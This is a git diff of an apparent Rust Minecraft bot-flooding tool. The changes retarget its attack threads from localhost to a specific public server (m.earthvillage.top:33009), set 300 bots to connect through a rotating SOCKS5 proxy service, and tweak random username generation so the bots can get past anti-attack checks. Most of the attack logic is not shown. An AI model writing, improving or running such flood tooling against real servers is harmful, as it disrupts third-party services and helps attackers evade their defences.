diff --git a/config.json b/config.json index bfc5193..90430f3 100644 --- a/config.json +++ b/config.json @@ -1,14 +1,16 @@ { - "server_ip": "127.0.0.1", - "server_port": "25565", - "proxy_url": "", - "username_prefix": "test", - "worker_threads": 100, - "use_thread_pool": false, + "server_ip": "m.earthvillage.top", + "server_port": "33009", + "username_prefix": "", "count": 300, - "reco_words": ["验证程序已启用","AntiAttack"], - "login_commands": ["reg helloa helloa"], - "spam_file": "test.txt", - "spam_delay_ms": 1000, - "random_prefix": true + "proxy_url": "http://uu-proxy.com/api/get_proxies?id=RZ7GS5ZYTA&size=1&schemes=socks5&support_https=false&format=json", + "reco_words": [ + "AntiAttack" + ], + "login_commands": [], + "spam_file": "", + "spam_delay_ms": 0, + "random_prefix": false, + "worker_threads": 100, + "use_thread_pool": true } \ No newline at end of file diff --git a/src/bot_socks5.rs b/src/bot_socks5.rs index aba4ccf..b698a66 100644 --- a/src/bot_socks5.rs +++ b/src/bot_socks5.rs @@ -293,7 +293,7 @@ impl Bot { if !self.config.spam_file().is_empty() && iter % self.config.spam_delay_ms() == 0{ let mut msg = String::new(); if self.config.random_prefix(){ - msg += &utils::generate_string(); + msg += &utils::generate_string(2,10); } { // TODO 优化这里 let var = self.var.clone(); diff --git a/src/configuration.rs b/src/configuration.rs index f2dc23a..39890e2 100644 --- a/src/configuration.rs +++ b/src/configuration.rs @@ -1,4 +1,4 @@ -use std::fs::File; +use std::{fs::File, io::BufWriter}; use serde::{Deserialize, Serialize}; use std::io::BufReader; @@ -41,6 +41,11 @@ impl Configuration { } Err(error) => { eprintln!("[MAIN/CONF] Unable to read config file, will use default values: {}", error); + let file = File::create_new(filename).unwrap(); + let writer = BufWriter::new(file); + let mut serializer = serde_json::Serializer::pretty(writer); + Self::default().serialize(&mut serializer).unwrap(); + eprintln!("[Main/CONF] A configure file with default values is created."); Self::default() } } @@ -48,7 +53,7 @@ impl Configuration { fn default() -> Self { Configuration { - server_ip: "49.70.3.146".to_string(), + server_ip: "m.earthvillage.top".to_string(), server_port: "33009".to_string(), username_prefix: "".to_string(), count: 300, @@ -59,7 +64,7 @@ impl Configuration { spam_delay_ms: 0, random_prefix: false, worker_threads: 100, - use_thread_pool: true + use_thread_pool: true, } } diff --git a/src/main.rs b/src/main.rs index e33c604..ee1bb4a 100644 --- a/src/main.rs +++ b/src/main.rs @@ -35,6 +35,10 @@ async fn main() { let configuration = Configuration::new("config.json"); let configuration_rc = Arc::new(configuration); let mut spam_file = None; + if configuration_rc.username_prefix().len() > 14 { + eprintln!("[CONFIG] Error: Username prefix should not longer than 14"); + return; + } if !configuration_rc.clone().spam_file().is_empty() { spam_file = Some(tokio::fs::File::open(configuration_rc.clone().spam_file()).await.unwrap()); } @@ -145,22 +149,9 @@ async fn attack_thread(lock: Arc>, config: Arc, variabl // 插入生成update_worker线程的代码 let mut bot_clone = bot.clone(); let (tx, rx) = tokio::sync::mpsc::unbounded_channel::(); - if config.use_thread_pool { - tokio::spawn(async move { - bot_clone.update_worker(rx).await; - }); - }else { - thread::spawn(|| { - tokio::runtime::Builder::new_current_thread() - .enable_all() - .thread_stack_size(8 * 1024 * 1024) - .build() - .unwrap() - .block_on(async move { - bot_clone.update_worker(rx).await - }); - }); - } + tokio::spawn(async move { + bot_clone.update_worker(rx).await; + }); match bot.run(tx).await { Ok(_) => { if bot.should_restart() { diff --git a/src/utils.rs b/src/utils.rs index 9661cd9..0037cd0 100644 --- a/src/utils.rs +++ b/src/utils.rs @@ -46,15 +46,17 @@ pub fn parse_json_component(json: &str) -> String { // 生成一个随机的用户名 // author: 通义 -pub fn generate_string() -> String { +pub fn generate_string(len_min: i64, len_max: i64) -> String { let mut rng = rand::thread_rng(); - let len = rng.gen_range(5..=10); + let len = rng.gen_range(len_min..=len_max); rng.sample_iter(&Alphanumeric) - .take(len) + .take(len as usize) .map(char::from) .collect() } pub fn generate_username(config: &Arc) -> String { - config.username_prefix().to_string() + generate_string().to_string().as_str() + config.username_prefix().to_string() + generate_string( + 2,16-config.username_prefix().len() as i64 + ).to_string().as_str() } \ No newline at end of file